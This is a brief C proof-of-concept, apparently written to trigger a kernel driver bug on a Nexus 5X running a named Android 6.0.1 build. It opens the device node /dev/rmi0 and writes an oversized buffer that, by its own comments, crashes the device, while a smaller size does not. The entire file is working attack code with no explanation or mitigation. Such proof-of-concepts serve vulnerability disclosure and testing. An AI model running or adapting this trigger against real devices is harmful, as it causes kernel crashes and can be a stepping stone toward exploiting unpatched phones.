// test the poc on nexus 5x 
// with fingerprint : google/bullhead/bullhead:6.0.1/MTC19T/2741993:user/release-keys
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>

int test_write(int fd)
{
#define SIZE 0xffff // will crash
//#define SIZE 0x1000  // will not crash
	int ret;
	char buf[SIZE] = {0};

	ret = write(fd, buf, SIZE);
	if(ret<0) {
		printf("write fail %s\n",strerror(errno));
	} else printf("succ write %d byte\n",ret);
	return 0;
}



	int
main(int argc, char *argv[])
{
	char* path = "/dev/rmi0"; 
	int fd;
	int ret;

	fd = open(path, O_RDWR);
	if(fd<0) {
		printf("open fail %s\n",strerror(errno));
		return -1;
	}
	printf("open %s succ\n",path);
	test_write(fd);
	close(fd);
	return 0;
}
